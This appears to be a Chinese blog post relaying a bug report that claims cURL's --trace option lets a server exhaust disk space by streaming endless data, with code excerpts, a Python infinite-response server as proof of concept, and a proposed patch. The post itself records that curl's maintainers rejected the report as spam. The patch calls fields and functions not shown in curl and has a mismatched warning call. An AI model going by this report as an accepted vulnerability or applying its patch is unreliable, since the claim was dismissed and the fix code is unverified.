cURL调试日志漏洞导致磁盘空间耗尽引发拒绝服务(DoS)

本文详细分析了cURL工具中一个因调试日志无限增长导致的磁盘空间耗尽漏洞。当使用--trace或--trace-ascii选项处理大量数据时,未限制的日志写入可能造成系统拒绝服务,并提供了修复方案和概念验证代码。

cURL调试日志漏洞导致磁盘空间耗尽引发拒绝服务(DoS)

漏洞描述

tool_debug_cb函数在使用--trace--trace-ascii选项处理大量数据时,会向日志文件写入大量调试数据。攻击者若能诱导cURL下载或上传海量数据(如通过超大HTTP响应或无限上传),该调试函数生成的日志文件将无限增长,最终导致运行cURL的系统磁盘空间耗尽,进而影响同服务器的其他服务。

当使用--dump-header选项时,原始HTTP头数据会被写入heads->stream。若该流与跟踪输出使用相同文件,或使用另一个可能无限增长的文件,会加剧此问题。

漏洞代码分析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
/* In tool_debug_cb */
if(per->config->headerfile && heads->stream) {
    size_t rc = fwrite(ptr, size, nmemb, heads->stream); // <-- 漏洞写入点
    if(rc != cb)
      return rc;
    /* flush the stream to send off what we got earlier */
    if(fflush(heads->stream)) {
      errorf(per->config->global, "Failed writing headers to %s",
                     per->config->headerfile);
      return CURL_WRITEFUNC_ERROR;
    }
}

global->tracetype == TRACE_PLAIN时,以下代码块处理文本、头和数据警报:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
case CURLINFO_HEADER_OUT:
    if(size > 0) {
        size_t st = 0;
        size_t i;
        for(i = 0; i < size - 1; i++) {
          if(data[i] == '\n') { /* LF */
            if(!newl) {
              log_line_start(output, timebuf, idsbuf, type);
            }
            (void)fwrite(data + st, i - st + 1, 1, output); // <-- 漏洞写入点
            st = i + 1;
            newl = FALSE;
          }
        }
        if(!newl)
          log_line_start(output, timebuf, idsbuf, type);
        (void)fwrite(data + st, i - st + 1, 1, output); // <-- 漏洞写入点
    }
    newl = (size && (data[size - 1] != '\n'));
    traced_data = FALSE;
    break;

漏洞验证(POC)

无限数据服务器设置[unli.py]

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import http.server
import socketserver
import time

PORT = 8002

class MyHandler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        print(f"[{time.ctime()}] Received GET request from {self.client_address[0]}")
        self.send_response(200)
        self.send_header("Content-Type", "application/octet-stream")
        self.send_header("Transfer-Encoding", "chunked")
        self.end_headers()

        # 持续流式传输数据
        try:
            i = 0
            while True:
                chunk = f"This is chunk {i}: {'A' * 1024}\n".encode('utf-8') # 每个块1KB数据
                self.wfile.write(f"{len(chunk):X}\r\n".encode('ascii')) # 十六进制块大小
                self.wfile.write(chunk)
                self.wfile.write(b"\r\n")
                self.wfile.flush()
                i += 1
        except Exception as e:
            print(f"[{time.ctime()}] Client disconnected or error: {e}")
        finally:
            # 结束分块编码
            self.wfile.write(b"0\r\n\r\n")
            self.wfile.flush()

with socketserver.TCPServer(("", PORT), MyHandler) as httpd:
    print(f"serving at port {PORT}")
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        print("\nServer shutting down.")

使用trace选项运行curl

1
curl http://localhost:8002/test.txt -o /dev/null --trace output.log

执行后,output.log文件大小会随着服务器持续流式传输数据而快速增长,最终导致磁盘空间耗尽。

修复方案

主要修复点集中在无大小限制地向跟踪日志文件写入数据的代码段:

  1. tool_debug_cb()函数中,每次写入前检查文件大小:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int tool_debug_cb(CURL *handle, curl_infotype type,
                  char *data, size_t size,
                  void *userdata)
{
  struct OperationConfig *operation = userdata;
  struct GlobalConfig *global = operation->global;
  FILE *output = tool_stderr;
  
  // 确保跟踪流已打开且设置了大小限制
  if (global->trace_stream && global->trace_fopened && global->max_trace_log_size > 0) {
      size_t estimated_write_size = estimate_formatted_data_size(type, size, global->tracetype);
      
      // 检查当前写入是否会超出限制
      if (global->current_trace_log_size + estimated_write_size > global->max_trace_log_size) {
          warnf(global, "Trace log file '%s' reached maximum size (%s). Stopping further trace logging.",
                global->trace_dump);
          fclose(global->trace_stream);
          global->trace_stream = NULL;
          global->trace_fopened = FALSE;
          global->tracetype = TRACE_NONE;
          global->trace_dump = NULL;
          return 0;
      }
  }
  // ... 其余代码 ...
}
  1. dump()函数中实现类似的限制检查:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
static void dump(const char *timebuf, const char *idsbuf, const char *text,
                 FILE *stream, const unsigned char *ptr, size_t size,
                 trace tracetype, curl_infotype infotype, struct GlobalConfig *global)
{
  size_t i;
  size_t c;
  unsigned int width = 0x10;

  if(tracetype == TRACE_ASCII)
    width = 0x40;

  // 将初始行大小加入总量
  int written_bytes = fprintf(stream, "%s%s%s, %zu bytes (0x%zx)\n", timebuf, idsbuf, text, size, size);
  if (global && stream == global->trace_stream && written_bytes > 0) {
      global->current_trace_log_size += written_bytes;
  }

  for(i = 0; i < size; i += width) {
    // 写入每行前检查限制
    if (global && stream == global->trace_stream && global->current_trace_log_size >= global->max_trace_log_size) {
        break;
    }
    // ... 其余代码 ...
  }
  fflush(stream);
}

官方回应

curl开发团队认为这不是安全漏洞,因为调试日志本不应用于生产系统。若应用程序选择使用它们,则必须确保有足够资源。资源耗尽导致的DoS问题已在libcurl-security.md文档中说明,稳健的应用程序应考虑这一点。

报告最终被标记为"Spam"并公开披露。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计